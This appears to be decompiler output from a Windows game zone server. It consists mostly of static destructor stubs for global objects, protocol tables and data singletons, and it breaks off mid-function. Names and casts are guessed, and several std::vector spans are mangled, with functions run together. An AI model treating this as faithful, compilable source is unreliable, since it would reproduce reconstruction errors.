*)dropgroupcluster.dgc_GroupList - 1), (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); operator delete__(v0); } } //----- (0062D420) -------------------------------------------------------- void __cdecl _E12_19() { ItemDropFromMob::DropIndexCluster::_DropIndexCluster(&dropindexcluster); } //----- (0062D430) -------------------------------------------------------- void __cdecl _E4_21() { ItemGroupClassifier::_ItemGroupClassifier(&itemgroupclassifier); } //----- (0062D440) -------------------------------------------------------- void __cdecl _E7_11() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_BinaryDataBox((MobResistTable *)&kqreward); } //----- (0062D590) -------------------------------------------------------- void __cdecl _E6_39() { ShineCommonParameter::_ShineCommonParameter((ShineScript *)&magiccontainer); } //----- (0062D5C0) -------------------------------------------------------- void __cdecl _E15_9() { CLCReward::_CLCReward(&gLCReward); } //----- (0062D5D0) -------------------------------------------------------- void __cdecl _E2_14() { CFindWay::_CFindWay(&findway); } //----- (0062D5E0) -------------------------------------------------------- void __cdecl _E5_52() { MapBlock::MapBlockInformationBox::_MapBlockInformationBox(&blockinfobox); } //----- (0062D600) -------------------------------------------------------- void __cdecl _E9_25() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&townportaldata); } //----- (0062D610) -------------------------------------------------------- void __cdecl _E4_24() { MapClusterManager::ClusterManager::_ClusterManager(&mapclustermanager); } //----- (0062D620) -------------------------------------------------------- void __cdecl _E4_25() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&midreward); } //----- (0062D630) -------------------------------------------------------- void __cdecl _E4_26() { AbnormalStateDictionary::SubAbState::_SubAbState((AbnormalStateDictionary::SubAbState *)&minihouseenduredatabox); } //----- (0062D640) -------------------------------------------------------- void __cdecl _E4_27() { AbnormalStateDictionary::SubAbState::_SubAbState((AbnormalStateDictionary::SubAbState *)&minihouseobjanidatabox); } //----- (0062D660) -------------------------------------------------------- void __cdecl _E9_26() { mobexplosebase = &MobExplosionElement::MobExplosionBase::_vftable_; } // 649AA0: using guessed type int (__stdcall *MobExplosionElement__MobExplosionBase___vftable_)(int mob, int); // 6AFE60: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (0062D670) -------------------------------------------------------- void __cdecl _E12_22() { MobExplosionElement::MobExplosionAlways::_MobExplosionAlways((MobExplosionElement::MobExplosionAlways *)&mobexploseenemy); } //----- (0062D680) -------------------------------------------------------- void __cdecl _E15_10() { MobExplosionElement::MobExplosionAlways::_MobExplosionAlways((MobExplosionElement::MobExplosionAlways *)&mobexplosetarget); } //----- (0062D690) -------------------------------------------------------- void __cdecl _E18_12() { MobExplosionElement::MobExplosionAlways::_MobExplosionAlways(&mobexplosealways); } //----- (0062D6A0) -------------------------------------------------------- void __cdecl _E5_53() { MobAttackSequence::_MobAttackSequence(&mobattseq); } //----- (0062D6B0) -------------------------------------------------------- void __cdecl _E6_41() { MobTargetEraser::_MobTargetEraser(&mobtargeteraser); } //----- (0062D6C0) -------------------------------------------------------- void __cdecl _E6_42() { MobChat::MobChatManager::_MobChatManager(&mobchatman); } //----- (0062D6E0) -------------------------------------------------------- void __cdecl _E9_27() { MobActionElement::_MobActionElement(&ShineObjectClass::ShineMob::defaction); } //----- (0062D710) -------------------------------------------------------- void __cdecl _E12_23() { KQRegenTable::_KQRegenTable(&kqregentable); } //----- (0062D720) -------------------------------------------------------- void __cdecl _E18_13() { KQContribute::KQContributeList::_KQContributeList((KQContribute::KQContributeList *)&g_FamilyMobManager); } //----- (0062D730) -------------------------------------------------------- void __cdecl _E7_13() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_StaticVector(&pathbuffer); } //----- (0062D7F0) -------------------------------------------------------- void __cdecl _E2_15() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_BinaryDataBox((MobResistTable *)&merchantcity); } //----- (0062D8E0) -------------------------------------------------------- void __cdecl _E9_29() { NPCManager::_NPCManager(&npcmanager); } //----- (0062D8F0) -------------------------------------------------------- void __cdecl _E7_14() { OPToolSession::_OPToolSession((OPToolSession *)&optoolsock); } //----- (0062D900) -------------------------------------------------------- void __cdecl _E4_30() { OPToolList::_OPToolList((OPToolList *)&optoollist); } //----- (0062D940) -------------------------------------------------------- void __cdecl _E2_17() { ShineCommonParameter::_ShineCommonParameter((ShineScript *)&shineparam); } //----- (0062D950) -------------------------------------------------------- void __cdecl _E6_48() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&partycontainer); } //----- (0062D990) -------------------------------------------------------- void __cdecl _E8_40() { Tracer::_Tracer(&linestep); } //----- (0062D9A0) -------------------------------------------------------- void __cdecl _E14_20() { PathFindTable::_PathFindTable(&pathfindtable); } //----- (0062D9B0) -------------------------------------------------------- void __cdecl _E5_54() { List::_List((ItemLotAnalyser::LotAnalyser *)&junctionpointlist); } //----- (0062D9C0) -------------------------------------------------------- void __cdecl _E11_21() { CellStack::_CellStack(&cellstack); } //----- (0062D9E0) -------------------------------------------------------- void __cdecl _E4_32() { void **v0; // esi@1 gdsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)gdsprotofunc.pft_funcpnt; do { if ( *v0 != gdsprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)gdsprotofunc.4100 ); } // 650B30: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameDBSession_____NETCOMMAND __int_____vftable_)(void *p, char); //----- (0062DA10) -------------------------------------------------------- void __cdecl _E4_33() { void **v0; // esi@1 shineprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)shineprotofunc.pft_funcpnt; do { if ( *v0 != shineprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)shineprotofunc.4100 ); } // 650BA0: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ShineObjectClass__ShinePlayer_____NETCOMMAND __int_unsigned short_____vftable_[5])(void *p, char); //----- (0062DA40) -------------------------------------------------------- void __cdecl _E4_34() { void **v0; // esi@1 glsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)glsprotofunc.pft_funcpnt; do { if ( *v0 != glsprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)glsprotofunc.4100 ); } // 650BA4: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameLogSession_____NETCOMMAND __int_____vftable_[4])(void *p, char); //----- (0062DA70) -------------------------------------------------------- void __cdecl _E4_35() { void **v0; // esi@1 optsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)optsprotofunc.pft_funcpnt; do { if ( *v0 != optsprotofunc.this ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)optsprotofunc.this ); } // 650BA8: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall OPToolSession_____NETCOMMAND ______vftable_[3])(void *p, char); //----- (0062DAA0) -------------------------------------------------------- void __cdecl _E4_36() { void **v0; // esi@1 wldmanprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)wldmanprotofunc.pft_funcpnt; do { if ( *v0 != wldmanprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)wldmanprotofunc.4100 ); } // 650BAC: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall WorldManagerSession_____NETCOMMAND __int_____vftable_[2])(void *p, char); //----- (0062DAD0) -------------------------------------------------------- void __cdecl _E4_37() { void **v0; // esi@1 zlsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)zlsprotofunc.pft_funcpnt; do { if ( *v0 != zlsprotofunc.this ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)zlsprotofunc.this ); } // 650BB0: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ZoneListenSession_____NETCOMMAND ______vftable_)(void *p, char); //----- (0062DB30) -------------------------------------------------------- void __cdecl _E13_6() { sysfuncbase[0] = (int (__stdcall *(*)[28])(int, int, int))PineEventScriptNode::SysFuncBase::_vftable_; } // 650BE4: using guessed type int (__stdcall *PineEventScriptNode__SysFuncBase___vftable_[28])(int buffer, int ps, int argumentlist); // 6B64B8: using guessed type int (__stdcall *(*sysfuncbase[2])[28])(int buffer, int ps, int argumentlist); //----- (0062DB40) -------------------------------------------------------- void __cdecl _E16_8() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncrand); } //----- (0062DB50) -------------------------------------------------------- void __cdecl _E19_3() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncsqrt); } //----- (0062DB60) -------------------------------------------------------- void __cdecl _E22_3() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncdistance); } //----- (0062DB70) -------------------------------------------------------- void __cdecl _E25_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinemobregen); } //----- (0062DB80) -------------------------------------------------------- void __cdecl _E28_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinedoorbuild); } //----- (0062DB90) -------------------------------------------------------- void __cdecl _E31_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinenpcstand); } //----- (0062DBA0) -------------------------------------------------------- void __cdecl _E34_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinechange2mob); } //----- (0062DBB0) -------------------------------------------------------- void __cdecl _E37_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinechange2door); } //----- (0062DBC0) -------------------------------------------------------- void __cdecl _E40_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinechange2npc); } //----- (0062DBD0) -------------------------------------------------------- void __cdecl _E43_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinecount); } //----- (0062DBE0) -------------------------------------------------------- void __cdecl _E46_0() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinerestsec); } //----- (0062DBF0) -------------------------------------------------------- void __cdecl _E49_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinecharclass); } //----- (0062DC00) -------------------------------------------------------- void __cdecl _E52_0() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinecharname); } //----- (0062DC10) -------------------------------------------------------- void __cdecl _E55() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinedeadnum); } //----- (0062DC20) -------------------------------------------------------- void __cdecl _E58() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinecircularlocate); } //----- (0062DC30) -------------------------------------------------------- void __cdecl _E61() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshineremovefisrt); } //----- (0062DC40) -------------------------------------------------------- void __cdecl _E64() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinegetobjectlist); } //----- (0062DC50) -------------------------------------------------------- void __cdecl _E67() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinekqresultlist); } //----- (0062DC60) -------------------------------------------------------- void __cdecl _E70() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinekqtoplist); } //----- (0062DC70) -------------------------------------------------------- void __cdecl _E73_0() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinedistance); } //----- (0062DC80) -------------------------------------------------------- void __cdecl _E76() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshineplayerinarea); } //----- (0062DC90) -------------------------------------------------------- void __cdecl _E79_0() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinerange); } //----- (0062DCA0) -------------------------------------------------------- void __cdecl _E82() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshineisgateuse); } //----- (0062DCB0) -------------------------------------------------------- void __cdecl _E85_0() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinegetwinnerguild); } //----- (0062DCC0) -------------------------------------------------------- void __cdecl _E88() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinegetloseGuild); } //----- (0062DCD0) -------------------------------------------------------- void __cdecl _E91() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineSPrintF1 *)&sysfuncshinewhereis); } //----- (0062DCE0) -------------------------------------------------------- void __cdecl _E94_0() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen(&sysfuncshinesprintf1); } //----- (0062DCF0) -------------------------------------------------------- void __cdecl _E4_38() { PineEventScriptNode::StatementList::_StatementList(&ps_statementlist); } //----- (0062DD20) -------------------------------------------------------- void __cdecl _E2_20() { PineScriptMobRegenerator::_PineScriptMobRegenerator(&scriptmobregen); } //----- (0062DD40) -------------------------------------------------------- void __cdecl _E9_33() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_all); } //----- (0062DD50) -------------------------------------------------------- void __cdecl _E12_28() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_me); } //----- (0062DD60) -------------------------------------------------------- void __cdecl _E15_13() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_ply); } //----- (0062DD70) -------------------------------------------------------- void __cdecl _E18_16() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hour); } //----- (0062DD80) -------------------------------------------------------- void __cdecl _E21_9() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_minute); } //----- (0062DD90) -------------------------------------------------------- void __cdecl _E24_10() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_sec); } //----- (0062DDA0) -------------------------------------------------------- void __cdecl _E27_7() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_millisec); } //----- (0062DDB0) -------------------------------------------------------- void __cdecl _E30_7() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_kq); } //----- (0062DDC0) -------------------------------------------------------- void __cdecl _E33_5() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_suc); } //----- (0062DDD0) -------------------------------------------------------- void __cdecl _E36_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_fail); } //----- (0062DDE0) -------------------------------------------------------- void __cdecl _E39_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_areaentry); } //----- (0062DDF0) -------------------------------------------------------- void __cdecl _E42_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_arealeave); } //----- (0062DE00) -------------------------------------------------------- void __cdecl _E45_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_npcclickhandle); } //----- (0062DE10) -------------------------------------------------------- void __cdecl _E48_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_npcclickindex); } //----- (0062DE20) -------------------------------------------------------- void __cdecl _E51_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_npcclickany); } //----- (0062DE30) -------------------------------------------------------- void __cdecl _E54_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hplow); } //----- (0062DE40) -------------------------------------------------------- void __cdecl _E57_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_mobeliminate); } //----- (0062DE50) -------------------------------------------------------- void __cdecl _E60_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_playereliminate); } //----- (0062DE60) -------------------------------------------------------- void __cdecl _E63_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_guildliminate); } //----- (0062DE70) -------------------------------------------------------- void __cdecl _E66_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_timeout); } //----- (0062DE80) -------------------------------------------------------- void __cdecl _E69_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_deadhandle); } //----- (0062DE90) -------------------------------------------------------- void __cdecl _E72_2() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_deadindex); } //----- (0062DEA0) -------------------------------------------------------- void __cdecl _E75_2() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_killenemy); } //----- (0062DEB0) -------------------------------------------------------- void __cdecl _E78_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_targetchange); } //----- (0062DEC0) -------------------------------------------------------- void __cdecl _E81_2() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_playerdead); } //----- (0062DED0) -------------------------------------------------------- void __cdecl _E84_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_admin); } //----- (0062DEE0) -------------------------------------------------------- void __cdecl _E87_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_on); } //----- (0062DEF0) -------------------------------------------------------- void __cdecl _E90_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_off); } //----- (0062DF00) -------------------------------------------------------- void __cdecl _E93_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_logout); } //----- (0062DF10) -------------------------------------------------------- void __cdecl _E96_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_anywhere); } //----- (0062DF20) -------------------------------------------------------- void __cdecl _E99_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_handle); } //----- (0062DF30) -------------------------------------------------------- void __cdecl _E102_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_guild); } //----- (0062DF40) -------------------------------------------------------- void __cdecl _E105_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_recover); } //----- (0062DF50) -------------------------------------------------------- void __cdecl _E108_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_noaggro); } //----- (0062DF60) -------------------------------------------------------- void __cdecl _E111_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_pk); } //----- (0062DF70) -------------------------------------------------------- void __cdecl _E114_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hit); } //----- (0062DF80) -------------------------------------------------------- void __cdecl _E117_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_observer); } //----- (0062DF90) -------------------------------------------------------- void __cdecl _E120_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_GuildTournamentStart); } //----- (0062DFA0) -------------------------------------------------------- void __cdecl _E123_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_Result); } //----- (0062DFB0) -------------------------------------------------------- void __cdecl _E126_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hpfull); } //----- (0062DFC0) -------------------------------------------------------- void __cdecl _E129_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_beggar); } //----- (0062DFD0) -------------------------------------------------------- void __cdecl _E132_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_allwithout); } //----- (0062DFE0) -------------------------------------------------------- void __cdecl _E135_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_CostumeHeadAcc); } //----- (0062DFF0) -------------------------------------------------------- void __cdecl _E138_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_CostumeBodyAcc); } //----- (0062E000) -------------------------------------------------------- void __cdecl _E141_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_split); } //----- (0062E010) -------------------------------------------------------- void __cdecl _E144_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_pickupitemindex); } //----- (0062E020) -------------------------------------------------------- void __cdecl _E147_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_dicegameend); } //----- (0062E030) -------------------------------------------------------- void __cdecl _E150_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_mobindex); } //----- (0062E040) -------------------------------------------------------- void __cdecl _E153_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hpupper); } //----- (0062E050) -------------------------------------------------------- void __cdecl _E156_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_rewardmid); } //----- (0062E060) -------------------------------------------------------- void __cdecl _E159_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_OnLine); } //----- (0062E090) -------------------------------------------------------- void __cdecl _E190() { PineScriptTemporaryString::_PineScriptTemporaryString(&g_PineScriptTemporaryString); } //----- (0062E0E0) -------------------------------------------------------- void __cdecl _E6_52() { engnormatt.vfptr = (EngNormAttVtbl *)EngNormAtt::_vftable_; } // 657170: using guessed type int (__stdcall *EngNormAtt___vftable_[4])(int, int, int ef); //----- (0062E5B0) -------------------------------------------------------- void __cdecl _E21_11() { ShineObjectClass::ShineObject::so_dummypacketcontainer = &PacketContainerBase::_vftable_; } // 660EA4: using guessed type int (__stdcall *PacketContainerBase___vftable_)(int itm); // 6B64E0: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int itm); //----- (0062EB70) -------------------------------------------------------- void __cdecl _E9_40() { ui_base = &UseEffect::UseItemBase::_vftable_; } // 676278: using guessed type int (__stdcall *UseEffect__UseItemBase___vftable_)(int, int itm); // 6B6510: using guessed type int (__stdcall **ui_base)(int, int itm); //----- (0062EEB0) -------------------------------------------------------- void __cdecl _E15_22() { CCharacterTitleData::_CCharacterTitleData((BinaryData *)&gAnnounceSystem); } //----- (0062EF00) -------------------------------------------------------- void __cdecl _E30_12() { CDataReader::_CDataReader(&gItemDismantle); } //----- (0062EF60) -------------------------------------------------------- void __cdecl _E48_7() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(&gMiniHouseDiceTaiSaiDividind); } //----- (0062EF70) -------------------------------------------------------- void __cdecl _E51_5() { CDataReader::_CDataReader(&gActionViewInfo); } //----- (0062EFC0) -------------------------------------------------------- void __cdecl _E66_5() { CDataReader::_CDataReader(&gMapWayPoint); } //----- (0062EFE0) -------------------------------------------------------- void __cdecl _E72_4() { CDataReader::_CDataReader(&gGambleExchangeMaxCoin); } //----- (0062F000) -------------------------------------------------------- void __cdecl _E78_3() { CDataReader::_CDataReader(&gGBDiceDividind); } //----- (0062F020) -------------------------------------------------------- void __cdecl _E84_4() { CDataReader::_CDataReader(&gGBDiceRate); } //----- (0062F030) -------------------------------------------------------- void __cdecl _E87_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&gGBDiceTaiSai); } //----- (0062F040) -------------------------------------------------------- void __cdecl _E90_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(&gGBDiceTaiSaiDividind); } //----- (0062F050) -------------------------------------------------------- void __cdecl _E93_4() { CDataReader::_CDataReader(&gNpcSchedule); } //----- (0062F060) -------------------------------------------------------- void __cdecl _E96_2() { CDataReader::_CDataReader(&gReactionType); } //----- (0062F070) -------------------------------------------------------- void __cdecl _E99_2() { CDataReader::_CDataReader(&gAdminLvSet); } //----- (0062F080) -------------------------------------------------------- void __cdecl _E102_3() { CDataReader::_CDataReader(&gPVPNoAttack); } //----- (0062F090) -------------------------------------------------------- void __cdecl _E6_82() { CWeaponTitleZone::_CWeaponTitleZone(&gWeaponTitle); } //----- (0062F0A0) -------------------------------------------------------- void __cdecl _E9_43() { CCharacterTitleData::_CCharacterTitleData((BinaryData *)&gCharacterTitleData); } //----- (0062F4E0) -------------------------------------------------------- void __cdecl _E204() { KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper((EventSaveCheck *)&eventmobregen); } //----- (0062F4F0) -------------------------------------------------------- void __cdecl _E210() { MapDataBox::_MapDataBox(&mapdatabox); } //----- (0062F500) -------------------------------------------------------- void __cdecl _E213() { MobDataBox::_MobDataBox(&mobdatabox); } //----- (0062F510) -------------------------------------------------------- void __cdecl _E216() { ItemDataBox::_ItemDataBox(&itemdatabox); } //----- (0062F520) -------------------------------------------------------- void __cdecl _E219() { ZoneServer::_ZoneServer(&zoneserver); } //----- (0062F530) -------------------------------------------------------- void __cdecl _E222() { ZoneConnectSession::_ZoneConnectSession(&zoneconnect); } //----- (0062F550) -------------------------------------------------------- void __cdecl _E237() { MobHatchery::_MobHatchery((MobHatchery *)&mobhat); } //----- (0062F570) -------------------------------------------------------- void __cdecl _E201() { KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper((EventSaveCheck *)&eventheartping); } //----- (0062F580) -------------------------------------------------------- void __cdecl _E207() { EventReserveContainer::_EventReserveContainer((EventReserveContainer *)&zonevent); } //----- (0062F590) -------------------------------------------------------- void __cdecl _E225() { SocketBundle::_SocketBundle((SocketBundle *)&sock2gameDB); } //----- (0062F5A0) -------------------------------------------------------- void __cdecl _E228() { SocketBundle::_SocketBundle((SocketBundle *)&sock2gamelog); } //----- (0062F5B0) -------------------------------------------------------- void __cdecl _E231() { SocketBundle::_SocketBundle(&sock2wldman); } //----- (0062F5C0) -------------------------------------------------------- int __cdecl _E296() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB49C: using guessed type int ITableBase_EnchantSocketRate_EnchantSocketRateTable___ms_pkTable; //----- (0062F5F0) -------------------------------------------------------- int __cdecl _E294() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 131DB498: using guessed type int ITableBase_ActionEffectAbState_ActionEffectAbStateTable___ms_pkTable; //----- (0062F620) -------------------------------------------------------- int __cdecl _E292() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall 